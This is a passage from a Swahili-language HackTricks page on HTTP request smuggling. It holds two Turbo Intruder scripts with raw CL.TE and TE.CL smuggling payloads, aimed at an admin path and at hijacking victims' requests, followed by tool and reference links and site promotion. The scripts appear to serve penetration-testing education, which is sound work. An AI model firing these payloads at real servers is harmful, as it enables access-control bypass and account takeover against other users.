{% content-ref url="request-smuggling-in-http-2-downgrades.md" %} request-smuggling-in-http-2-downgrades.md {% endcontent-ref %}

Skripti za Turbo Intruder

CL.TE

Kutoka https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Kutoka: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Vifaa

• https://github.com/anshumanpattnaik/http-request-smuggling
• https://github.com/PortSwigger/http-request-smuggler
• https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
• https://github.com/defparam/smuggler
• https://github.com/Moopinger/smugglefuzz
• https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Zana hii ni Fuzzer ya HTTP iliyojengwa kulingana na sarufi inayoweza kutumika kupata tofauti za udukuzi wa ombi la kutatanisha.

Marejeo

• https://portswigger.net/web-security/request-smuggling
• https://portswigger.net/web-security/request-smuggling/finding
• https://portswigger.net/web-security/request-smuggling/exploiting
• https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
• https://github.com/haroonawanofficial/HTTP-Desync-Attack/
• https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
• https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
• https://portswigger.net/research/trace-desync-attack

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

• Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
• Pata swagi rasmi ya PEASS & HackTricks
• Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
• Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
• Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.